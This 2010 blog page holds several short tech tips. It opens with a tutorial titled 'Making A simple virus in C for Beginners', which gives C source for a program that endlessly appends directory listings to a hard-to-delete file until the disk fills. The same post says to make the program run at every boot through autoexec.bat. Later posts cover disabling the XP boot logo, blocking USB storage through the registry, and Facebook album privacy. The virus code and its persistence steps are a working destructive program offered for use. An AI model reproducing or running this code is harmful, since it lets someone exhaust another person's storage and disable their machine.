Saturday, March 27, 2010

Making A simple virus in C for Beginners

 
Hi everybody,at begining of the learning of computer programming it is a dream of almost all student to build a computer virus of his/her own.
Computer virus obviously is a thing that shouldnot be made and used on others computer it is completely illegal in all countries.So make and try this on your own machine.
Now let me explain what do the viruses do.There are several types of computer viruses with different functions(destructive obviously).Some of which delete computers' important files and folders,some change the configuration of your computer system like registry values,some occupy and engulf a large amount of memory space and dump your hard disc.There are some viruses too which can damage your RAM parmanently.
I am going to give here a simple virus program which has only a few lines bur has ability to jam your Hard disc.
The logic behind the program is nothing but making a self growing file which grows to a few MB in one tern and this growth will continue infinitely.
The require ment to make this virus is
OS:-Windows98/xp/2000 MS-DOS
Compiler:-Borland C(Which has Dos Shell)
Source Code:-
//START v.c
#include
#include
void main()
{
while(1)
{
system("dir>>â•Å¡a.exe");
}
}
//END

As you can see this is a very little programe.Compiling the programme we get v.exe file.This is our virus.
How it works?-The system call "dir>>â•Å¡a.exe" will execute the dos command 'dir' and ridirect its output toa file â•Å¡a.exe(the symbol â•Å¡ can be obtained by pressing 456 on numpad holding alt key).So running the program in a folder having many files and folder will increase the size of â•Å¡a.exe in a great amount.This process will continue to infinity as this is in a while(1) loop;
Best try this on win98.then you cannot delete â•Å¡a.exe from GUI.
For auto running place v.exe in the command folder in windows folder.
In autoexec.bat(win98) or autoexec.NT(winXP/2000) file simply write v.exe.
Each time your window starts v.exe will run automatically.
Try this on your own computer remember the â•Å¡a.exe is the infected file which is growing in size continiously.So to recover, simply delete v.exe and â•Å¡a.exe file from your computer.
For more informaton or any problem please write me.

How to disable Windows XP Boot logo

 
It is possible to disable the XP splash screen, which will slightly speed up the overall boot process. Be aware that removing the splash screen will also cause you not to see any boot-up messages that might come up (chkdsk, convert … ), but if your system runs without any problems then it should not matter.
• Edit boot.ini.
• Add ” /noguiboot” right after “/fastdetect”.
Upon restarting, the splash screen will be gone. It can be re-enabled by removing the new switch.

How To Disable Detection of USB Storage Device

 
Many official users are worried for unauthorized access through USB storage devices like pen drive (USB HDD and others) .Sometimes in the offices, your office members implement viruses and access your secured data through USB storage device. Generally this unpleasant incident is detrimental for the Software programmers and designers.

To solve this issue implement these steps:

1. Click Start → Run and type regedit.

2. Scroll Down to following registry keys-

[HKEY_LOCAL_MACHINE \SYSTEM\CurrentControlSet \Services\UsbStor]
3.Double click →start
4. Set value data: 4 as mentioned above, to activate service of USB DISABLING mode and then restart your computer or logoff and then logon on your system.

5. For deactivation Set value data : 3 then restart your computer or logoff and then logon on your system.

Facebook-Share your album with selected friends

 
If you want to share your profile picture with only selected friends for some reason so you can done it with this tip so just follow the simple steps for it as shown below
First go to the album privacy page. You can access this page by Settings->Privacy Settings->Profile->Edit Photo Album Privacy Settings.
on that page you can see all your Facebook albums including Wall Photos and Mobile Uploads
Select the album which you want to set visible to selected friends only.
Now click on customize… under Who can see this?

Now in the pop-up select some friends and start typing your friends name who all can see that particular album

Now your album will be visible to selected friends only.
Enjoy